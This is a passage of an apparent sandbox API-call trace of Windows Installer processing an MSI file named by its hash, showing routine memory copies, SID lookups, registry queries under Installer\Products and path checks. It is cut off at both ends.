_Dst=0x3caf60) returned 0x3caf60 [0122.384] memcpy (in: _Dst=0x2104b20, _Src=0x33d0c2, _Size=0x26 | out: _Dst=0x2104b20) returned 0x2104b20 [0122.384] memcpy (in: _Dst=0x3caf60, _Src=0x33d0ec, _Size=0x1a | out: _Dst=0x3caf60) returned 0x3caf60 [0122.384] memcpy (in: _Dst=0x35aaa0, _Src=0x33d10a, _Size=0x2 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.385] memcpy (in: _Dst=0x3caf60, _Src=0x33d110, _Size=0x1e | out: _Dst=0x3caf60) returned 0x3caf60 [0122.385] memcpy (in: _Dst=0x35aaa0, _Src=0x33d132, _Size=0x8 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.385] memcpy (in: _Dst=0x3caf60, _Src=0x33d13e, _Size=0x16 | out: _Dst=0x3caf60) returned 0x3caf60 [0122.385] memcpy (in: _Dst=0x2104b20, _Src=0x33d158, _Size=0x26 | out: _Dst=0x2104b20) returned 0x2104b20 [0122.385] memcpy (in: _Dst=0x3caf60, _Src=0x33d182, _Size=0x12 | out: _Dst=0x3caf60) returned 0x3caf60 [0122.385] memcpy (in: _Dst=0x376420, _Src=0x33d198, _Size=0x34 | out: _Dst=0x376420) returned 0x376420 [0122.385] memcpy (in: _Dst=0x3caf60, _Src=0x33d1d0, _Size=0x12 | out: _Dst=0x3caf60) returned 0x3caf60 [0122.385] memcpy (in: _Dst=0x35aaa0, _Src=0x33d1e6, _Size=0x6 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.385] memcpy (in: _Dst=0x3caf60, _Src=0x33d1f0, _Size=0x1a | out: _Dst=0x3caf60) returned 0x3caf60 [0122.385] memcpy (in: _Dst=0x35aaa0, _Src=0x33d20e, _Size=0xe | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.385] memcpy (in: _Dst=0x35aaa0, _Src=0x33d220, _Size=0xc | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.385] memcpy (in: _Dst=0x3cb510, _Src=0x33d230, _Size=0xe | out: _Dst=0x3cb510) returned 0x3cb510 [0122.385] memcpy (in: _Dst=0x3caf60, _Src=0x33d242, _Size=0x18 | out: _Dst=0x3caf60) returned 0x3caf60 [0122.385] memcpy (in: _Dst=0x35aaa0, _Src=0x33d25e, _Size=0x2 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.385] memcpy (in: _Dst=0x3caf60, _Src=0x33d264, _Size=0x1c | out: _Dst=0x3caf60) returned 0x3caf60 [0122.385] memcpy (in: _Dst=0x35aaa0, _Src=0x33d284, _Size=0x2 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.385] memcpy (in: _Dst=0x35aaa0, _Src=0x33d28c, _Size=0x10 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.385] memcpy (in: _Dst=0x3caf60, _Src=0x33d29e, _Size=0x1c | out: _Dst=0x3caf60) returned 0x3caf60 [0122.385] memcpy (in: _Dst=0x35aaa0, _Src=0x33d2c0, _Size=0xc | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.385] memcpy (in: _Dst=0x3cb510, _Src=0x33d2ce, _Size=0xe | out: _Dst=0x3cb510) returned 0x3cb510 [0122.385] lstrlenW (lpString="MSIINSTALLPERUSER") returned 17 [0122.385] memcpy (in: _Dst=0x3caf60, _Src=0x33cfe0, _Size=0x20 | out: _Dst=0x3caf60) returned 0x3caf60 [0122.385] lstrlenW (lpString="[~~~]") returned 5 [0122.385] lstrlenW (lpString="[~~~]") returned 5 [0122.385] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ACTION=INSTALL", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0122.385] memcpy (in: _Dst=0x3d5f50, _Src=0x33d004, _Size=0x50 | out: _Dst=0x3d5f50) returned 0x3d5f50 [0122.385] memcpy (in: _Dst=0x3caf60, _Src=0x33d058, _Size=0x12 | out: _Dst=0x3caf60) returned 0x3caf60 [0122.386] memcpy (in: _Dst=0x35aaa0, _Src=0x33d06e, _Size=0x6 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.386] memcpy (in: _Dst=0x35aaa0, _Src=0x33d078, _Size=0x10 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.386] memcpy (in: _Dst=0x3cb510, _Src=0x33d08c, _Size=0xe | out: _Dst=0x3cb510) returned 0x3cb510 [0122.386] memcpy (in: _Dst=0x3caf60, _Src=0x33d09e, _Size=0x20 | out: _Dst=0x3caf60) returned 0x3caf60 [0122.386] memcpy (in: _Dst=0x2104b20, _Src=0x33d0c2, _Size=0x26 | out: _Dst=0x2104b20) returned 0x2104b20 [0122.386] memcpy (in: _Dst=0x3caf60, _Src=0x33d0ec, _Size=0x1a | out: _Dst=0x3caf60) returned 0x3caf60 [0122.386] memcpy (in: _Dst=0x35aaa0, _Src=0x33d10a, _Size=0x2 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.386] memcpy (in: _Dst=0x3caf60, _Src=0x33d110, _Size=0x1e | out: _Dst=0x3caf60) returned 0x3caf60 [0122.386] memcpy (in: _Dst=0x35aaa0, _Src=0x33d132, _Size=0x8 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.386] memcpy (in: _Dst=0x3caf60, _Src=0x33d13e, _Size=0x16 | out: _Dst=0x3caf60) returned 0x3caf60 [0122.386] memcpy (in: _Dst=0x2104b20, _Src=0x33d158, _Size=0x26 | out: _Dst=0x2104b20) returned 0x2104b20 [0122.386] memcpy (in: _Dst=0x3caf60, _Src=0x33d182, _Size=0x12 | out: _Dst=0x3caf60) returned 0x3caf60 [0122.386] memcpy (in: _Dst=0x376420, _Src=0x33d198, _Size=0x34 | out: _Dst=0x376420) returned 0x376420 [0122.386] memcpy (in: _Dst=0x3caf60, _Src=0x33d1d0, _Size=0x12 | out: _Dst=0x3caf60) returned 0x3caf60 [0122.386] memcpy (in: _Dst=0x35aaa0, _Src=0x33d1e6, _Size=0x6 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.386] memcpy (in: _Dst=0x3caf60, _Src=0x33d1f0, _Size=0x1a | out: _Dst=0x3caf60) returned 0x3caf60 [0122.386] memcpy (in: _Dst=0x35aaa0, _Src=0x33d20e, _Size=0xe | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.386] memcpy (in: _Dst=0x35aaa0, _Src=0x33d220, _Size=0xc | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.386] memcpy (in: _Dst=0x3cb510, _Src=0x33d230, _Size=0xe | out: _Dst=0x3cb510) returned 0x3cb510 [0122.386] memcpy (in: _Dst=0x3caf60, _Src=0x33d242, _Size=0x18 | out: _Dst=0x3caf60) returned 0x3caf60 [0122.386] memcpy (in: _Dst=0x35aaa0, _Src=0x33d25e, _Size=0x2 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.386] memcpy (in: _Dst=0x3caf60, _Src=0x33d264, _Size=0x1c | out: _Dst=0x3caf60) returned 0x3caf60 [0122.386] memcpy (in: _Dst=0x35aaa0, _Src=0x33d284, _Size=0x2 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.386] memcpy (in: _Dst=0x35aaa0, _Src=0x33d28c, _Size=0x10 | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.386] memcpy (in: _Dst=0x3caf60, _Src=0x33d29e, _Size=0x1c | out: _Dst=0x3caf60) returned 0x3caf60 [0122.386] memcpy (in: _Dst=0x35aaa0, _Src=0x33d2c0, _Size=0xc | out: _Dst=0x35aaa0) returned 0x35aaa0 [0122.386] memcpy (in: _Dst=0x3cb510, _Src=0x33d2ce, _Size=0xe | out: _Dst=0x3cb510) returned 0x3cb510 [0122.387] lstrlenW (lpString="ALLUSERS") returned 8 [0122.387] SetLastError (dwErrCode=0x0) [0122.387] lstrlenW (lpString="MSIINSTALLPERUSER") returned 17 [0122.388] SetLastError (dwErrCode=0xd) [0122.388] lstrlenW (lpString="MSIINSTALLPERUSER") returned 17 [0122.388] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.388] GetCurrentThreadId () returned 0xf50 [0122.388] GetCurrentThreadId () returned 0xf50 [0122.388] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0122.389] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce3a0, TokenInformationLength=0x58, ReturnLength=0x10ce390 | out: TokenInformation=0x10ce3a0, ReturnLength=0x10ce390) returned 1 [0122.389] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce480, pSourceSid=0x10ce3b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce480*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0122.389] ConvertSidToStringSidW (in: Sid=0x10ce480*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce460 | out: StringSid=0x10ce460*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0122.389] LocalFree (hMem=0x3d6b80) returned 0x0 [0122.389] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.389] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0122.389] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce9b0 | out: phkResult=0x10ce9b0*=0x0) returned 0x2 [0122.389] GetCurrentThreadId () returned 0xf50 [0122.389] GetCurrentThreadId () returned 0xf50 [0122.389] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0122.389] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce3a0, TokenInformationLength=0x58, ReturnLength=0x10ce390 | out: TokenInformation=0x10ce3a0, ReturnLength=0x10ce390) returned 1 [0122.390] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce480, pSourceSid=0x10ce3b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce480*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0122.390] ConvertSidToStringSidW (in: Sid=0x10ce480*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce460 | out: StringSid=0x10ce460*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0122.390] LocalFree (hMem=0x3d5f40) returned 0x0 [0122.390] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.390] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0122.390] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce9b0 | out: phkResult=0x10ce9b0*=0x0) returned 0x2 [0122.390] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.390] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0122.390] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce9b0 | out: phkResult=0x10ce9b0*=0x0) returned 0x2 [0122.390] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.390] GetCurrentThreadId () returned 0xf50 [0122.390] GetCurrentThreadId () returned 0xf50 [0122.390] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0122.390] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce480, TokenInformationLength=0x58, ReturnLength=0x10ce470 | out: TokenInformation=0x10ce480, ReturnLength=0x10ce470) returned 1 [0122.390] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce560, pSourceSid=0x10ce490*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0122.390] ConvertSidToStringSidW (in: Sid=0x10ce560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce540 | out: StringSid=0x10ce540*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0122.390] LocalFree (hMem=0x3d6b80) returned 0x0 [0122.390] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.390] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0122.390] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce980 | out: phkResult=0x10ce980*=0x0) returned 0x2 [0122.391] GetCurrentThreadId () returned 0xf50 [0122.391] GetCurrentThreadId () returned 0xf50 [0122.391] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0122.391] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce480, TokenInformationLength=0x58, ReturnLength=0x10ce470 | out: TokenInformation=0x10ce480, ReturnLength=0x10ce470) returned 1 [0122.391] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce560, pSourceSid=0x10ce490*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0122.391] ConvertSidToStringSidW (in: Sid=0x10ce560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce540 | out: StringSid=0x10ce540*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0122.391] LocalFree (hMem=0x3d5f40) returned 0x0 [0122.391] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.391] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0122.391] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce980 | out: phkResult=0x10ce980*=0x0) returned 0x2 [0122.391] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.391] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0122.391] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce980 | out: phkResult=0x10ce980*=0x0) returned 0x2 [0122.391] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0122.391] AllocateAndInitializeSid (in: pIdentifierAuthority=0x10ce968, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x10ce958 | out: pSid=0x10ce958*=0x3b68b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0122.391] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x3b68b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x10ce950 | out: IsMember=0x10ce950) returned 1 [0122.392] lstrlenW (lpString="ProductState") returned 12 [0122.392] _vsnwprintf (in: _Buffer=0x10ce9d8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce9c8 | out: _Buffer="-1") returned 2 [0122.392] lstrlenW (lpString="-1") returned 2 [0122.392] lstrlenW (lpString="MSIPACKAGEDOWNLOADLOCALCOPY") returned 27 [0122.392] memcpy (in: _Dst=0x3cafe0, _Src=0x33cfe0, _Size=0x20 | out: _Dst=0x3cafe0) returned 0x3cafe0 [0122.392] lstrlenW (lpString="[~~~]") returned 5 [0122.392] lstrlenW (lpString="[~~~]") returned 5 [0122.392] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ACTION=INSTALL", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0122.392] memcpy (in: _Dst=0x3d5f50, _Src=0x33d004, _Size=0x50 | out: _Dst=0x3d5f50) returned 0x3d5f50 [0122.392] memcpy (in: _Dst=0x3cafe0, _Src=0x33d058, _Size=0x12 | out: _Dst=0x3cafe0) returned 0x3cafe0 [0122.392] memcpy (in: _Dst=0x3cb510, _Src=0x33d06e, _Size=0x6 | out: _Dst=0x3cb510) returned 0x3cb510 [0122.392] memcpy (in: _Dst=0x3cb510, _Src=0x33d078, _Size=0x10 | out: _Dst=0x3cb510) returned 0x3cb510 [0122.392] memcpy (in: _Dst=0x3cbb70, _Src=0x33d08c, _Size=0xe | out: _Dst=0x3cbb70) returned 0x3cbb70 [0122.392] memcpy (in: _Dst=0x3cafe0, _Src=0x33d09e, _Size=0x20 | out: _Dst=0x3cafe0) returned 0x3cafe0 [0122.393] memcpy (in: _Dst=0x2104b20, _Src=0x33d0c2, _Size=0x26 | out: _Dst=0x2104b20) returned 0x2104b20 [0122.393] memcpy (in: _Dst=0x3cafe0, _Src=0x33d0ec, _Size=0x1a | out: _Dst=0x3cafe0) returned 0x3cafe0 [0122.393] memcpy (in: _Dst=0x3cb510, _Src=0x33d10a, _Size=0x2 | out: _Dst=0x3cb510) returned 0x3cb510 [0122.393] memcpy (in: _Dst=0x3cafe0, _Src=0x33d110, _Size=0x1e | out: _Dst=0x3cafe0) returned 0x3cafe0 [0122.393] memcpy (in: _Dst=0x3cb510, _Src=0x33d132, _Size=0x8 | out: _Dst=0x3cb510) returned 0x3cb510 [0122.393] memcpy (in: _Dst=0x3cafe0, _Src=0x33d13e, _Size=0x16 | out: _Dst=0x3cafe0) returned 0x3cafe0 [0122.393] memcpy (in: _Dst=0x2104b20, _Src=0x33d158, _Size=0x26 | out: _Dst=0x2104b20) returned 0x2104b20 [0122.393] memcpy (in: _Dst=0x3cafe0, _Src=0x33d182, _Size=0x12 | out: _Dst=0x3cafe0) returned 0x3cafe0 [0122.393] memcpy (in: _Dst=0x376960, _Src=0x33d198, _Size=0x34 | out: _Dst=0x376960) returned 0x376960 [0122.393] memcpy (in: _Dst=0x3cafe0, _Src=0x33d1d0, _Size=0x12 | out: _Dst=0x3cafe0) returned 0x3cafe0 [0122.393] memcpy (in: _Dst=0x3cb510, _Src=0x33d1e6, _Size=0x6 | out: _Dst=0x3cb510) returned 0x3cb510 [0122.393] memcpy (in: _Dst=0x3cafe0, _Src=0x33d1f0, _Size=0x1a | out: _Dst=0x3cafe0) returned 0x3cafe0 [0122.393] memcpy (in: _Dst=0x3cb510, _Src=0x33d20e, _Size=0xe | out: _Dst=0x3cb510) returned 0x3cb510 [0122.393] memcpy (in: _Dst=0x3cb510, _Src=0x33d220, _Size=0xc | out: _Dst=0x3cb510) returned 0x3cb510 [0122.393] memcpy (in: _Dst=0x3cbb70, _Src=0x33d230, _Size=0xe | out: _Dst=0x3cbb70) returned 0x3cbb70 [0122.393] memcpy (in: _Dst=0x3cafe0, _Src=0x33d242, _Size=0x18 | out: _Dst=0x3cafe0) returned 0x3cafe0 [0122.393] memcpy (in: _Dst=0x3cb510, _Src=0x33d25e, _Size=0x2 | out: _Dst=0x3cb510) returned 0x3cb510 [0122.393] memcpy (in: _Dst=0x3cafe0, _Src=0x33d264, _Size=0x1c | out: _Dst=0x3cafe0) returned 0x3cafe0 [0122.393] memcpy (in: _Dst=0x3cb510, _Src=0x33d284, _Size=0x2 | out: _Dst=0x3cb510) returned 0x3cb510 [0122.393] memcpy (in: _Dst=0x3cb510, _Src=0x33d28c, _Size=0x10 | out: _Dst=0x3cb510) returned 0x3cb510 [0122.393] memcpy (in: _Dst=0x3cafe0, _Src=0x33d29e, _Size=0x1c | out: _Dst=0x3cafe0) returned 0x3cafe0 [0122.393] memcpy (in: _Dst=0x3cb510, _Src=0x33d2c0, _Size=0xc | out: _Dst=0x3cb510) returned 0x3cb510 [0122.393] memcpy (in: _Dst=0x3cbb70, _Src=0x33d2ce, _Size=0xe | out: _Dst=0x3cbb70) returned 0x3cbb70 [0122.393] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", UrlIs=0x0) returned 0 [0122.394] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0122.394] memcpy (in: _Dst=0x37e4c0, _Src=0x382484, _Size=0x88 | out: _Dst=0x37e4c0) returned 0x37e4c0 [0122.394] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop", UrlIs=0x0) returned 0 [0122.394] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop") returned 25 [0122.394] memcpy (in: _Dst=0x3cb510, _Src=0x376420, _Size=0x4 | out: _Dst=0x3cb510) returned 0x3cb510 [0122.394] lstrlenW (lpString="\\") returned 1 [0122.394] lstrlenW (lpString="\\\\") returned 2 [0122.394] wcsstr (_Str="\\Users\\KEECFM~1\\Desktop", _SubStr="\\\\") returned 0x0 [0122.394] memcpy (in: _Dst=0x10cdc20, _Src=0x376424, _Size=0x30 | out: _Dst=0x10cdc20) returned 0x10cdc20 [0122.394] lstrlenW (lpString="Users") returned 5 [0122.394] lstrlenW (lpString="Users") returned 5 [0122.394] lstrlenW (lpString="KEECFM~1") returned 8 [0122.394] lstrlenW (lpString="KEECFM~1") returned 8 [0122.394] lstrlenW (lpString="Desktop") returned 7 [0122.394] lstrlenW (lpString="Desktop") returned 7 [0122.394] lstrlenW (lpString="\\Users\\KEECFM~1\\Desktop") returned 23 [0122.394] lstrlenW (lpString="\\Users\\KEECFM~1\\Desktop") returned 23 [0122.394] lstrlenW (lpString="\\") returned 1 [0122.394] memcpy (in: _Dst=0x2104b70, _Src=0x2104b20, _Size=0x2e | out: _Dst=0x2104b70) returned 0x2104b70 [0122.394] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.394] GetFileAttributesW (lpFileName="C:\\Users\\KEECFM~1\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0122.395] memcpy (in: _Dst=0x376420, _Src=0x338890, _Size=0x4 | out: _Dst=0x376420) returned 0x376420 [0122.395] memcpy (in: _Dst=0x376424, _Src=0x2104b70, _Size=0x32 | out: _Dst=0x376424) returned 0x376424 [0122.395] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop\\", UrlIs=0x0) returned 0 [0122.395] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\") returned 26 [0122.395] memcpy (in: _Dst=0x3cbb70, _Src=0x376960, _Size=0x4 | out: _Dst=0x3cbb70) returned 0x3cbb70 [0122.395] lstrlenW (lpString="\\") returned 1 [0122.395] lstrlenW (lpString="\\\\") returned 2 [0122.395] wcsstr (_Str="\\Users\\KEECFM~1\\Desktop\\", _SubStr="\\\\") returned 0x0 [0122.395] memcpy (in: _Dst=0x10cd5c0, _Src=0x376964, _Size=0x32 | out: _Dst=0x10cd5c0) returned 0x10cd5c0 [0122.395] lstrlenW (lpString="Users") returned 5 [0122.395] lstrlenW (lpString="Users") returned 5 [0122.395] lstrlenW (lpString="KEECFM~1") returned 8 [0122.395] lstrlenW (lpString="KEECFM~1") returned 8 [0122.395] lstrlenW (lpString="Desktop") returned 7 [0122.395] lstrlenW (lpString="Desktop") returned 7 [0122.395] lstrlenW (lpString="\\Users\\KEECFM~1\\Desktop\\") returned 24 [0122.395] lstrlenW (lpString="\\Users\\KEECFM~1\\Desktop\\") returned 24 [0122.395] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.396] GetFileAttributesW (lpFileName="C:\\Users\\KEECFM~1\\Desktop\\" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0122.396] lstrlenW (lpString="Installer\\Products") returned 18 [0122.396] memcpy (in: _Dst=0x35fb20, _Src=0x35fad0, _Size=0x24 | out: _Dst=0x35fb20) returned 0x35fb20 [0122.396] memcpy (in: _Dst=0x35fb44, _Src=0x3cbb70, _Size=0x4 | out: _Dst=0x35fb44) returned 0x35fb44 [0122.396] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.396] memcpy (in: _Dst=0x32dab0, _Src=0x35fb20, _Size=0x26 | out: _Dst=0x32dab0) returned 0x32dab0 [0122.396] memcpy (in: _Dst=0x32dad6, _Src=0x376960, _Size=0x42 | out: _Dst=0x32dad6) returned 0x32dad6 [0122.396] memcpy (in: _Dst=0x32ed40, _Src=0x32dab0, _Size=0x66 | out: _Dst=0x32ed40) returned 0x32ed40 [0122.396] memcpy (in: _Dst=0x32eda6, _Src=0x3cbb70, _Size=0x4 | out: _Dst=0x32eda6) returned 0x32eda6 [0122.396] lstrlenW (lpString="SourceList") returned 10 [0122.396] memcpy (in: 